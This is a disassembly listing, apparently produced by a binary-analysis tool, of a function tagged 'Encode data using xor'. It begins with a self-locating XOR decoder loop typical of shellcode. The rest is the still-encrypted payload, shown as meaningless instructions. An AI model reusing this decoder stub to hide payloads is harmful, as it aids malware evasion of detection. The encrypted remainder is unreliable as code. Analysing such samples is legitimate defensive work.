Function at 0xf0388c
Capabilities:
Encode data using xor

Disassembly:
jmp 0xf03896
pushal
call 0xf0389c
pop ebp
sub ebp, 0x10
sub ebp, 0xb0388c
jmp 0xf038b2
mov eax, 0xb0388c
add eax, ebp
add eax, 0x4c
mov ecx, 0x5a0
mov edx, 0x8f0d8dbc
xor byte [eax], dl
inc eax
dec ecx
jne 0xf038c9
jmp 0xf038dc
aaa
jno 0xf03916
xor eax, 0xbcbcbc80
cmp eax, 0xbcbc447d
mov esp, 0xba0471bf
mov esp, 0x9406bcbc
mov esp, 0x5e4bbcbc
mov edi, 0xb03d3774
mov esp, 0x79bfbcbc
in al, dx
in al, dx
aam 0x74
setge byte [esp + edx*8 - 0x43cdc781]
mov ebp, 0xddd49890
mov esi, 0xb9548aa3
mov esp, 0x9455bcbc
push esp
mov ecx, 0x55bcbcbc
xchg esp, eax
mov esp, 0x37e9bcbc
push eax
aaa
cmp dword [esp + edi*4 + 0x2937bcbc], esi
mov al, 0xbc
mov esp, 0xac3137bc
mov esp, 0x557dbcbc
mov esi, 0x7e3fbe8d
mov eax, 0x4839b3f5
inc ebx
inc ebx
inc ebx
loope 0xf039c4
mov al, 0xbc
aaa
xor byte [eax - 0x43434348], bl
aam 0x74
setge byte [esp + edx*8 - 0x43cdc781]
mov ebp, 0xd8319890
cwde
inc eax
xor eax, 0xb95498b0
mov esp, 0x8f55bcbc
mov esi, 0xe8e9bcbc
loope 0xf039b4
leave
mov al, 0x43
leave
mov ah, 0x54
fidivr dword [esp + edi*4 - 0x4bfec844]
mov esp, 0x758fbcbc
invalid
mov esp, 0x7055fdbc
inc ebx
inc ebx
inc ebx
xchg ebp, eax
invalid
push esp
mov eax, 0x43430155
inc ebx
xchg ebp, eax
call 0x7e2ff856
mov edx, 0x3fb8563f
push esp
mov ecx, 0x43431755
inc ebx
loope 0xf03a5d
mov al, 0xbc
jmp 0xecda8a1d
mov ah, 0x40
push cs
cmp al, 0x36
mov edx, 0xbcbd7a3d
mov esp, 0x3dbb34bc
jnp 0xf039ba
mov esp, 0xbe07bcbc
mov esp, 0x6ebebcbc
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3f
inc ebx
inc ebx
inc ebx
mov esi, 0xb939b36e
mov esp, 0xaa36bcbc
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3f
salc
mov esp, 0x7c8fbcbc
mov esi, 0xb939b36e
mov esp, 0xaa36bcbc
jl 0xf039ec
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
cmp dword [ecx + 0x36bcbcbc], edi
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3f
xchg esi, eax
mov ebp, 0x6ebebcbc
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0xf03a0e
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0xf03a1d
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0xf03a2c
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0xf03a30
cmp byte [edx + 0x37bcbcbc], bh
arpl word [edi + 0x34bf3664], dx
mov ebx, 0xbcbe07fb
mov esp, 0x43cc55bc
inc ebx
inc ebx
add al, 0xbd
mov esp, 0x6ebebcbc
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jl 0xf03a68
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3e
bound eax, qword [ebx + 0x43]
inc ebx
xchg edi, eax
jg 0xf03ac6
mov ebp, 0xb3bcbcbc
cmp dword [eax + 0x5bcbcbc], ecx
mov ebp, 0xbebcbcbc
outsb dx, byte [esi]
mov esp, 0xbd05bcbc
mov esp, 0x6ebebcbc
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
scasd eax, dword es:[edi]
jne 0xf03a9c
outsb dx, byte [esi]
mov bl, 0x39
mov ecx, 0x36bcbcbc
stosb byte es:[edi], al
cli
scasb al, byte es:[edi]
outsb dx, byte [esi]
mov bl, 0x3e
bound eax, qword [ebx + 0x43]
inc ebx
ljmp 0x184f